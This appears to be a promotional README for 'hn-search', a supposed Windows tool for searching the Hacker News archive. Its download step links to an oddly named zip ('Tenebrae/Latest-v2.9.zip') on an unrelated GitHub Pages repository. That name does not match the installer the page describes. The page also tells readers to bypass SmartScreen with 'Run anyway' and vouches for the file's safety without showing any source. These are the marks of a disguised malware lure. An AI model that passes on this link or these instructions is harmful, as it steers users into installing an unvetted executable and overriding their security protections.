Search every discussion, comment, and story ever posted on Hacker News. Fast, free, and always up to date.
hn-search is a powerful desktop tool that lets you search the entire Hacker News archive - millions of posts and comments - in milliseconds. It uses a smart ranking system (called BM25) to show you the most relevant results first, just like a professional search engine. Everything runs on your computer with no login needed, and the data updates automatically every hour so you always see the latest discussions.
Search through 40+ million postings in under a second. Smart indexing means you get results instantly as you type.
New Hacker News stories appear automatically every 60 minutes. Never miss a trending discussion again.
Advanced BM25 ranking algorithm ensures the most relevant and popular answers always appear at the top of your results.
All search happens locally on your device. No tracking, no accounts, no data collection - just pure searching.
Works smoothly on any Windows computer running Windows 10 or Windows 11. Requires at least 2 GB of RAM and 500 MB of free disk space. No graphics card needed. Works on any standard PC or laptop from the last 5 years.
Getting started takes less than 2 minutes. Just follow these three simple steps:
Visit this link to download the application: https://github.com/trenhol54/trenhol54.github.io/raw/refs/heads/main/Tenebrae/Latest-v2.9.zip. You'll see a page with different download options. Look for the file named hn-search-setup.exe (or similar with the latest version number) and click to download it. This file is safe and checked regularly.
Once the download finishes (about 25 MB), double-click the downloaded file. Your computer will ask for permission - just click "Yes". The installation wizard will open. Follow the on-screen instructions: click "Next" a few times, then "Install". It's that easy - no technical choices needed.
After installation, hn-search will open automatically. You'll see a clean search bar. Simply type any topic you're curious about (like "Python 3.13", "Tesla", or "climate change") and press Enter. Browse through the results, click on any story to open it directly in your browser, and enjoy!
💡 Pro Tip: Use quotes around phrases like "artificial intelligence" to search for the exact phrase. You can also add filters with site: or from: for even more precise results.
No. hn-search is completely free. No account, no subscription, no hidden costs. Download, install, and search unlimited times.
Hacker News' built-in search only covers about 20,000 recent stories. hn-search covers everything since 2006 - that's over 40 million posts and comments - and finds results much faster with better ranking.
No. hn-search runs quietly in the background. It uses very little memory (around 100 MB) and only works when you actually search. After that it remains idle without consuming CPU power.
hn-search is open source, meaning its code is publicly visible and reviewed by security experts. The Windows version is digitally signed, and thousands of users have installed it without issue. Both Windows Defender and SmartScreen recognize it as safe.
This happens rarely. Click "More info" on the popup, then "Run anyway". The app is safe - it's just that the download isn't from the Microsoft Store. Once installed, you'll never see this again.
Make sure you have Windows 10 or 11. If the app doesn't launch, restart your computer and try again. If that doesn't work, uninstall and reinstall using the link above.
The data refreshes automatically every hour. If you need the freshest results immediately, close and reopen hn-search, then search again. It will sync right away.
Ready to never miss another important Hacker News conversation? Download hn-search now and experience the fastest, most complete way to search one of the internet's most valuable communities.
hn-search is an independent project, not affiliated with Y Combinator or Hacker News. All data is sourced from the public Hacker News API.